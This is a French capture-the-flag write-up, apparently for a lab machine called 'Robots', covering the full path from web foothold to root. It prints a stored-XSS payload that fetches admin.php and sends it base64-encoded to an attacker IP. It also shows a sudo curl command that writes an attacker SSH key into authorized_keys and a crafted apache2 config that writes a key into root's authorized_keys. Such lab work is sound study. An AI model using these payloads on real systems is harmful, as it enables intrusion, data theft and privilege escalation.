On commence par un scan nmap :

Grâce au fichier robots.txt, on découvre 3 répertoires. Seul l’un d’entre eux est accessible :

On voit alors que l’on peut crée un compte et que le mot de passe initial sera md5(username+ddmm)

Ainsi, on crée un compte test avec une date de naissance de 00/00/0000. On peut ensuite calculer le hash demandé avec la commande bash suivante :

Le -n permet de ne pas avoir de retour à la ligne.

On peut alors se connecter au compte test avec ce mot de passe :

On voit que le compte admin s’est connecté récemment et on constate également que notre nom est inclut sur la page. Ainsi, il est peut etre possible de réaliser une XSS stocké afin de voler le cookie de l’admin. On peut vérifier cela en créant un compte avec une command JS :

On voit queu la commande est bien executé.

En revanche, on ne peut pas exploiter cela directement pour voler le cookie de l’admin. En effet, le cookie de session est protégé par httponly. HTTPONLY est une protection qui permet de s’assurer qu’un cookie ne puisse pas être récupéré par un script javascript.

Ainsi, afin d’exploiter cette vulnérabilité, on va essayer de forcer l’administrateur à nous renvoyer la réponse qu’il recoit lorsqu’il accède à la page que nous ne pouvons pas atteindre directement :

Pour ce faire, on va utiliser le payload suivant :

1
2
3
4
5
6
<script>
fetch('http://robots.thm/harm/to/self/admin.php')
.then(r=>r.text())
.then(
d=>fetch('http://10.21.110.163:8000/?data='+btoa(d)));
</script>

Ce qui nous permet de récupérer le contenu de la page admin.php en base64 :

Ensuite, en décodant on obtient :

Ainsi, en utilisant exploitant le fait que le contenu de l’url envoyé via le champ est inclus dans la page, on peut obtenir un reverse shell avec un script php :


On parcourant le serveur, on découvre un fichier config.php avec les identifiants d’une base de donnée :

On accède à cette bdd en établissant un sock avec la machine compromise et en utilisant proxychains :

On peut alors récupérer les hash des mots de passes de deux comptes :

En se basant sur les hash des mdp de nos comptes, on remarque que les mdp sont de la forme md5(md5(username+ddmm)). Ainsi, en utilisant cette information et la logique avec laquel les mots de passe sont crées, on peut faire un script permettant de casser l’un de ces hashs:

Ainsi, on peut se connecter au serveur avec les identifiants trouvé :

On voir que cette utilisateur peut executer curl en tant que dolivaw

Comme curl permet d’effectuer des reqêtes à plusieurs adresses IP, on peut sauvegarder un fichier en tant que dolivaw avec la commande suivante :

1
sudo -u dolivaw /usr/bin/curl 127.0.0.1/* 10.21.110.163:8000/id_rsa.pub -o a -o /home/dolivaw/.ssh/authorized_keys

Ainsi, en ajoutant notre clé publique au authorized_keys de dolivaw :

On peut avoir un shell en tant que dolivaw :

Comme cet utilisateur peut lancer apache2 en tant que root, on peut faire un fichier de configuration afin de forcer apache à écrire notre clé ssh dans le dossier du root.
Pour ce faire, on utilise le fichier de configuration suivant :

1
ServerRoot "/tmp/myapache" LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so Listen *:7777 ErrorLog /tmp/myapache/error.log LogFormat "ssh public key" asdf CustomLog /root/.ssh/authorized_keys asdf
  • ServerRoot : Définit le répertoire racine pour sauvegarder les fichiers de logs
  • LoadModule : Chargerment du module MPM qui est obligatoire pour que le serveur démarre. Il définit la maniere dont les processus sont gérés.
  • Listen : Met le serveur en écoute en local sur le port 7777
  • ErrorLog : Définit le chemin du fichier d’erreur
  • LogFormat : Définit le format des logs. Ici pour chaque requête, notre clé ssh sera stocké dans la variable asdf
  • CustomLog : Définit le fichier de stockage des logs. Ici, les logs stocké sont ceux présent dans la variable asdf

Ainsi, en lancant le serveur apache avec ce fichier de config avec la commande :

1
sudo /usr/sbin/apache2 -f /tmp/apache.config

Puis en effectuant une requête au serveur apache avec :

1
curl localhost:7777

On peut se connecter au compte root grâce à notre clé ssh :